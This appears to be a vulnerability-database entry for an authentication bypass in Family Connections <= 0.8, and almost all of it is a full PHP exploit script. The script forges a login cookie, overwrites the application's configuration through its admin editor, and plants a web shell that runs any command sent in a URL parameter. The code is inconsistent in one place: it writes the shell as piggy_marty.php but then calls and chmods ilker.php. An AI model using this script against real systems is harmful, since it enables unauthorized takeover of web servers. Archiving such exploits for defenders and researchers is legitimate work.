Lucene search
K

Haudenschilt Family Connections <= 0.8 Index.PHP Authentication Bypass Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 19 Views

Haudenschilt Family Connections <= 0.8 Index.PHP Authentication Bypass Vulnerability. Unauthorized access, remote command execution exploi

Code

                                                source: http://www.securityfocus.com/bid/25276/info

Haudenschilt Family Connections is prone to an authentication-bypass vulnerability.

Attackers can exploit this issue to gain unauthorized access. This may facilitate a compromise of the application and underlying webserver; other attacks are also possible.

Family Connections versions prior to 0.9 are vulnerable. 

#!/usr/bin/php -q -d short_open_tag=on
&#60;?
echo &#34;
# FCMS (Family Connections) &#60;= 0.1.1 Remote Command Execution Exploit
# AUTHOR: ilker kandemir &#60;ilkerkandemir[at]mynet.com&#62;
# DOWNLOAD:http://sourceforge.net/project/showfiles.php?group_id=189733
# Thanks to rgod for the php code and Ajann for helps


&#34;;
if ($argc&#60;3) {
echo &#34;Usage: php &#34;.$argv[0].&#34; Host Path CMD
Host:          target server (ip/hostname)
Path:          path of FCMS

Example:
php &#34;.$argv[0].&#34; localhost /FCMS/ dir&#34;;

die;
}
/*
The problem is in index.php:

{
if (isset($_COOKIE[&#39;fcms_login_id&#39;])) {
$_SESSION[&#39;login_id&#39;] = $_COOKIE[&#39;fcms_login_id&#39;];
}


This exploit create a ilker.php shell on the victim site

*/

error_reporting(0);
ini_set(&#34;max_execution_time&#34;,0);
ini_set(&#34;default_socket_timeout&#34;,5);

function quick_dump($string)
{
  $result=&#39;&#39;;$exa=&#39;&#39;;$cont=0;
  for ($i=0; $i&#60;=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) &#60;= 32 ) | (ord($string[$i]) &#62; 126 ))
   {$result.=&#34;  .&#34;;}
   else
   {$result.=&#34;  &#34;.$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=&#34; &#34;.dechex(ord($string[$i]));}
   else
   {$exa.=&#34; 0&#34;.dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.=&#34;\r\n&#34;; $exa.=&#34;\r\n&#34;;}
  }
 return $exa.&#34;\r\n&#34;.$result;
}
$proxy_regex = &#39;(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)&#39;;
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy==&#39;&#39;) {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo &#39;No response from &#39;.$host.&#39;:&#39;.$port; die;
    }
  }
  else {
    $c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo &#39;Not a valid proxy...&#39;;die;
    }
    $parts=explode(&#39;:&#39;,$proxy);
    echo &#34;Connecting to &#34;.$parts[0].&#34;:&#34;.$parts[1].&#34; proxy...\r\n&#34;;
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo &#39;No response from proxy...&#39;;die;
    }
  }
  fputs($ock,$packet);
  if ($proxy==&#39;&#39;) {
    $html=&#39;&#39;;
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html=&#39;&#39;;
    while ((!feof($ock)) or 
(!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
}

$host=$argv[1];
$path=$argv[2];
$cmd=&#34;&#34;;
for ($i=3; $i&#60;=$argc-1; $i++){
$cmd.=&#34; &#34;.$argv[$i];
}
$cmd=urlencode($cmd);


$port=80;
$proxy=&#34;&#34;;

if (($path[0]&#60;&#62;&#39;/&#39;) or ($path[strlen($path)-1]&#60;&#62;&#39;/&#39;)) {echo &#39;Error... 
check the path!&#39;; die;}
if ($proxy==&#39;&#39;) {$p=$path;} else {$p=&#39;http://&#39;.$host.&#39;:&#39;.$port.$path;}

echo &#34;Step0 - See If ilker.php already exists..\r\n&#34;;
$packet=&#34;GET &#34;.$p.&#34;ilker.php?cmd=$cmd HTTP/1.0\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Cookie: cmd=$cmd\r\n&#34;;
$packet.=&#34;Connection: Close\r\n\r\n&#34;;
sendpacketii($packet);
if (strstr($html,&#34;666999&#34;))
{
  echo &#34;Exploit succeeded...\r\n&#34;;
  $temp=explode(&#34;666999&#34;,$html);
  die(&#34;\r\n&#34;.$temp[1].&#34;\r\n&#34;);
}

echo &#34;Step1 - Retrieving Configuration\r\n&#34;;
$packet=&#34;GET &#34;.$p.&#34;index.php HTTP/1.0\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Cookie: admin=ilker\r\n&#34;;
$packet.=&#34;Connection: Close\r\n\r\n&#34;;
sendpacketii($packet);
$temp=explode(&#34;&#60;textarea name=\&#34;content\&#34; cols=\&#34;80\&#34; rows=\&#34;20\&#34;&#62;&#34;, 
$html);
$config_file=explode(&#34;&lt;/textarea&gt;&#60;br /&#62;&#60;input type=\&#34;submit\&#34; 
/&#62;&#60;/form&#62;&#34;, $temp[1]);
$new_file = str_replace(&#39;?&#62;&#39;, &#39;
$fp=fopen(\&#39;piggy_marty.php\&#39;,\&#39;w\&#39;);
fputs($fp,\&#39;&#60;?php error_reporting(0);
set_time_limit(0);
if (get_magic_quotes_gpc()) {
$_GET[cmd]=stripslashes($_GET[cmd]);
}
echo 666999;
passthru($_GET[cmd]);
echo 666999;
?&#62;\&#39;);
fclose($fp);
chmod(\&#39;ilker.php\&#39;,777);
?&#62;&#39;, $config_file[0]);

echo &#34;Step2 - Uploading New Data..\r\n&#34;;
$data=&#34;content=&#34;.urlencode($new_file);
$packet=&#34;POST &#34;.$p.&#34;index.php HTTP/1.0\r\n&#34;;
$packet.=&#34;Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, 
application/x-shockwave-flash, * /*\r\n&#34;;
$packet.=&#34;Referer: http://&#34;.$host.$path.&#34;index.php\r\n&#34;;
$packet.=&#34;Accept-Language: it\r\n&#34;;
$packet.=&#34;Content-Type: application/x-www-form-urlencoded\r\n&#34;;
$packet.=&#34;Accept-Encoding: gzip, deflate\r\n&#34;;
$packet.=&#34;User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; 
SV1)\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Cookie: fcms_login_id=ilker\r\n&#34;;
$packet.=&#34;Content-Length: &#34;.strlen($data).&#34;\r\n&#34;;
$packet.=&#34;Connection: Close\r\n&#34;;
$packet.=&#34;Cache-Control: no-cache\r\n\r\n&#34;;
$packet.=$data;
sendpacketii($packet);

echo &#34;Step3 - Executing Shell Maker\r\n&#34;;
$packet=&#34;GET &#34;.$p.&#34;index.php HTTP/1.0\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Cookie: \r\n&#34;;
$packet.=&#34;Connection: Close\r\n\r\n&#34;;
sendpacketii($packet);
sleep(3);
echo &#34;Step4 - Executing Shell..\r\n&#34;;
$packet=&#34;GET &#34;.$p.&#34;ilker.php?cmd=$cmd HTTP/1.0\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Cookie: cmd=$cmd\r\n&#34;;
$packet.=&#34;Connection: Close\r\n\r\n&#34;;
sendpacketii($packet);
if (strstr($html,&#34;666999&#34;))
{
  echo &#34;Exploit succeeded...\r\n&#34;;
  $temp=explode(&#34;666999&#34;,$html);
  die(&#34;\r\n&#34;.$temp[1].&#34;\r\n&#34;);
}

?&#62;

# MefistoLabs.Com


                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation